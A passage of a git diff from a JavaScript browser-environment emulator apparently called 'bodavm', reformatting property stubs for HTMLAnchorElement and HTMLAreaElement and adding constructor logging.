+bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "download", { + configurable: true, + enumerable: true, + get: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_get", arguments); + }, + set: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "download_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "ping", { + configurable: true, + enumerable: true, + get: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_get", arguments); + }, + set: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "ping_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "relList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hreflang", { + configurable: true, + enumerable: true, + get: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_get", arguments); + }, + set: function hreflang() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hreflang_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "coords", { + configurable: true, + enumerable: true, + get: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_get", arguments); + }, + set: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "coords_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "charset", { + configurable: true, + enumerable: true, + get: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_get", arguments); + }, + set: function charset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "charset_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "rev", { + configurable: true, + enumerable: true, + get: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_get", arguments); + }, + set: function rev() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "rev_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "shape", { + configurable: true, + enumerable: true, + get: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_get", arguments); + }, + set: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "shape_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_get", arguments); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "protocol_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_get", arguments); + }, + set: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "username_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_get", arguments); + }, + set: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "password_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_get", arguments); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "host_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_get", arguments); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hostname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_get", arguments); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "port_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_get", arguments); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "pathname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_get", arguments); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "search_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_get", arguments); + }, + set: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hash_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "href", { + configurable: true, + enumerable: true, + get: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_get", arguments); + }, + set: function href() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "href_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "toString", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAnchorElement', "hrefTranslate", { + configurable: true, + enumerable: true, + get: function hrefTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_get", arguments); + }, + set: function hrefTranslate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAnchorElement'].prototype, "HTMLAnchorElement", "hrefTranslate_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLAreaElement.js b/env_xbb_lastest_jsdom/env/HTMLAreaElement.js index 3c19474f..b2b4730b 100644 --- a/env_xbb_lastest_jsdom/env/HTMLAreaElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLAreaElement.js @@ -1,27 +1,235 @@ -// HTMLAreaElement对象 -bodavm.memory.globalobj['HTMLAreaElement'] = function HTMLAreaElement(){if (!(this instanceof HTMLAreaElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAreaElement'], "HTMLAreaElement"); -bodavm.memory.globalobj['HTMLAreaElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLAreaElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "alt", {configurable:true, enumerable:true, get:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_get", arguments)}, set:function alt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "coords", {configurable:true, enumerable:true, get:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_get", arguments)}, set:function coords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "download", {configurable:true, enumerable:true, get:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_get", arguments)}, set:function download (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "shape", {configurable:true, enumerable:true, get:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_get", arguments)}, set:function shape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_get", arguments)}, set:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "ping", {configurable:true, enumerable:true, get:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_get", arguments)}, set:function ping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "noHref", {configurable:true, enumerable:true, get:function noHref (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_get", arguments)}, set:function noHref (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "search_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hash_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLAreaElement', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "toString", arguments)}},'prototype'); +// HTMLAreaElement对象 + +bodavm.memory.globalobj['HTMLAreaElement'] = function HTMLAreaElement() { + console.log_copy('HTMLAreaElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLAreaElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLAreaElement'], "HTMLAreaElement"); +bodavm.memory.globalobj['HTMLAreaElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLAreaElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "alt", { + configurable: true, + enumerable: true, + get: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_get", arguments); + }, + set: function alt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "alt_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "coords", { + configurable: true, + enumerable: true, + get: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_get", arguments); + }, + set: function coords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "coords_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "download", { + configurable: true, + enumerable: true, + get: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_get", arguments); + }, + set: function download() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "download_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "shape", { + configurable: true, + enumerable: true, + get: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_get", arguments); + }, + set: function shape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "shape_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_get", arguments); + }, + set: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "target_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "ping", { + configurable: true, + enumerable: true, + get: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_get", arguments); + }, + set: function ping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "ping_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "rel", { + configurable: true, + enumerable: true, + get: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_get", arguments); + }, + set: function rel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "rel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "relList", { + configurable: true, + enumerable: true, + get: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_get", arguments); + }, + set: function relList() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "relList_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_get", arguments); + }, + set: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "referrerPolicy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "noHref", { + configurable: true, + enumerable: true, + get: function noHref() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_get", arguments); + }, + set: function noHref() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "noHref_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_get", arguments); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "protocol_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_get", arguments); + }, + set: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "username_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_get", arguments); + }, + set: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "password_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_get", arguments); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "host_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_get", arguments); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "hostname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_get", arguments); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "port_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_get", arguments); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLAreaElement'].prototype, "HTMLAreaElement", "pathname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLAreaElement', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, 